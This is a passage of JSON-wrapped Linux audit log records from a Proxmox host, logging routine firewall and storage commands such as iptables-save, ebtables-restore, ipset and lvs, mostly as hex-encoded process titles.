cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865665,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.665:62955): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965412906,"@rawstring":"node=pve type=PATH msg=audit(1781965412.906:65492): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865661,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.661:62954): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965407899,"@rawstring":"node=pve type=PATH msg=audit(1781965407.899:65490): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865654,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.654:62953): proctitle=\"ip6tables-save\""} {"@timestamp":1781965407899,"@rawstring":"node=pve type=PATH msg=audit(1781965407.899:65490): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865648,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.648:62952): proctitle=\"iptables-save\""} {"@timestamp":1781965407898,"@rawstring":"node=pve type=PATH msg=audit(1781965407.898:65489): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865643,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.643:62951): proctitle=69707365740073617665"} {"@timestamp":1781965407898,"@rawstring":"node=pve type=PATH msg=audit(1781965407.898:65488): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865638,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.638:62950): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PATH msg=audit(1781965407.893:65487): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865632,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964865.632:62949): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PATH msg=audit(1781965407.893:65487): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864625,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964864.625:62948): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PATH msg=audit(1781965407.893:65486): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964864593,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964864.593:62947): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965407893,"@rawstring":"node=pve type=PATH msg=audit(1781965407.893:65485): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.918:62946): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236046,"@rawstring":"node=pve type=PATH msg=audit(1781964236.046:60176): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.918:62945): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236046,"@rawstring":"node=pve type=PATH msg=audit(1781964236.046:60176): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.918:62944): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236043,"@rawstring":"node=pve type=PATH msg=audit(1781964236.043:60175): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.910:62943): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236043,"@rawstring":"node=pve type=PATH msg=audit(1781964236.043:60175): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.910:62942): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236041,"@rawstring":"node=pve type=PATH msg=audit(1781964236.041:60174): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964860910,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964860.910:62941): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236041,"@rawstring":"node=pve type=PATH msg=audit(1781964236.041:60174): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.899:62940): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236041,"@rawstring":"node=pve type=PATH msg=audit(1781964236.041:60173): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.899:62939): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236037,"@rawstring":"node=pve type=PATH msg=audit(1781964236.037:60172): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855899,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.899:62938): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236037,"@rawstring":"node=pve type=PATH msg=audit(1781964236.037:60172): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.890:62937): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236037,"@rawstring":"node=pve type=PATH msg=audit(1781964236.037:60172): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.890:62936): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236030,"@rawstring":"node=pve type=PATH msg=audit(1781964236.030:60171): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.890:62935): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964236030,"@rawstring":"node=pve type=PATH msg=audit(1781964236.030:60171): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855622,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.622:62934): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964236024,"@rawstring":"node=pve type=PATH msg=audit(1781964236.024:60170): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855619,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.619:62933): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964236024,"@rawstring":"node=pve type=PATH msg=audit(1781964236.024:60170): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.617:62932): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964236017,"@rawstring":"node=pve type=PATH msg=audit(1781964236.017:60169): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855617,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.617:62931): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964236017,"@rawstring":"node=pve type=PATH msg=audit(1781964236.017:60169): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855614,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.614:62930): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964236011,"@rawstring":"node=pve type=PATH msg=audit(1781964236.011:60168): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855607,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.607:62929): proctitle=\"ip6tables-save\""} {"@timestamp":1781964236011,"@rawstring":"node=pve type=PATH msg=audit(1781964236.011:60168): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855600,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.600:62928): proctitle=\"iptables-save\""} {"@timestamp":1781964236005,"@rawstring":"node=pve type=PATH msg=audit(1781964236.005:60166): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855594,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.594:62927): proctitle=\"ip6tables-save\""} {"@timestamp":1781964236005,"@rawstring":"node=pve type=PATH msg=audit(1781964236.005:60166): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855588,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.588:62926): proctitle=\"iptables-save\""} {"@timestamp":1781964236001,"@rawstring":"node=pve type=PATH msg=audit(1781964236.001:60165): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855585,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.585:62925): proctitle=\"ebtables-restore\""} {"@timestamp":1781964236001,"@rawstring":"node=pve type=PATH msg=audit(1781964236.001:60165): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855583,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.583:62924): proctitle=\"ebtables-restore\""} {"@timestamp":1781964235996,"@rawstring":"node=pve type=PATH msg=audit(1781964235.996:60164): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855577,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.577:62923): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964235996,"@rawstring":"node=pve type=PATH msg=audit(1781964235.996:60164): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855572,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.572:62922): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964235990,"@rawstring":"node=pve type=PATH msg=audit(1781964235.990:60163): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855566,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.566:62921): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781964235990,"@rawstring":"node=pve type=PATH msg=audit(1781964235.990:60163): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855561,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.561:62920): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781964235984,"@rawstring":"node=pve type=PATH msg=audit(1781964235.984:60162): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.556:62919): proctitle=697073657400726573746F7265"} {"@timestamp":1781964235984,"@rawstring":"node=pve type=PATH msg=audit(1781964235.984:60162): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855550,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.550:62918): proctitle=\"ip6tables-save\""} {"@timestamp":1781964235980,"@rawstring":"node=pve type=PATH msg=audit(1781964235.980:60161): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855544,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.544:62917): proctitle=\"iptables-save\""} {"@timestamp":1781964235980,"@rawstring":"node=pve type=PATH msg=audit(1781964235.980:60161): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855540,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.540:62916): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781964235973,"@rawstring":"node=pve type=PATH msg=audit(1781964235.973:60160): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855537,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.537:62915): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964235973,"@rawstring":"node=pve type=PATH msg=audit(1781964235.973:60160): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.536:62914): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964235966,"@rawstring":"node=pve type=PATH msg=audit(1781964235.966:60159): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855536,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.536:62913): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964235966,"@rawstring":"node=pve type=PATH msg=audit(1781964235.966:60159): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855531,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.531:62912): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781964235963,"@rawstring":"node=pve type=PATH msg=audit(1781964235.963:60158): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855525,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.525:62911): proctitle=\"ip6tables-save\""} {"@timestamp":1781964235963,"@rawstring":"node=pve type=PATH msg=audit(1781964235.963:60158): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855517,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.517:62910): proctitle=\"iptables-save\""} {"@timestamp":1781964235960,"@rawstring":"node=pve type=PATH msg=audit(1781964235.960:60157): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855513,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.513:62909): proctitle=69707365740073617665"} {"@timestamp":1781964235960,"@rawstring":"node=pve type=PATH msg=audit(1781964235.960:60157): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855506,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.506:62908): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964235958,"@rawstring":"node=pve type=PATH msg=audit(1781964235.958:60156): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964855499,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964855.499:62907): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781964235958,"@rawstring":"node=pve type=PATH msg=audit(1781964235.958:60156): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854523,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964854.523:62906): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964235958,"@rawstring":"node=pve type=PATH msg=audit(1781964235.958:60155): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964854494,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964854.494:62905): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781964235955,"@rawstring":"node=pve type=PATH msg=audit(1781964235.955:60154): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.883:62904): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235955,"@rawstring":"node=pve type=PATH msg=audit(1781964235.955:60154): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.883:62903): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235955,"@rawstring":"node=pve type=PATH msg=audit(1781964235.955:60154): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850883,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.883:62902): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235948,"@rawstring":"node=pve type=PATH msg=audit(1781964235.948:60153): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.875:62901): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235948,"@rawstring":"node=pve type=PATH msg=audit(1781964235.948:60153): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.875:62900): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235941,"@rawstring":"node=pve type=PATH msg=audit(1781964235.941:60152): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964850875,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964850.875:62899): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235941,"@rawstring":"node=pve type=PATH msg=audit(1781964235.941:60152): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.867:62898): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235936,"@rawstring":"node=pve type=PATH msg=audit(1781964235.936:60151): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964845867,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964845.867:62897): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781964235936,"@rawstring":"node=pve type=PATH msg=audit(1781964235.936:60151): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 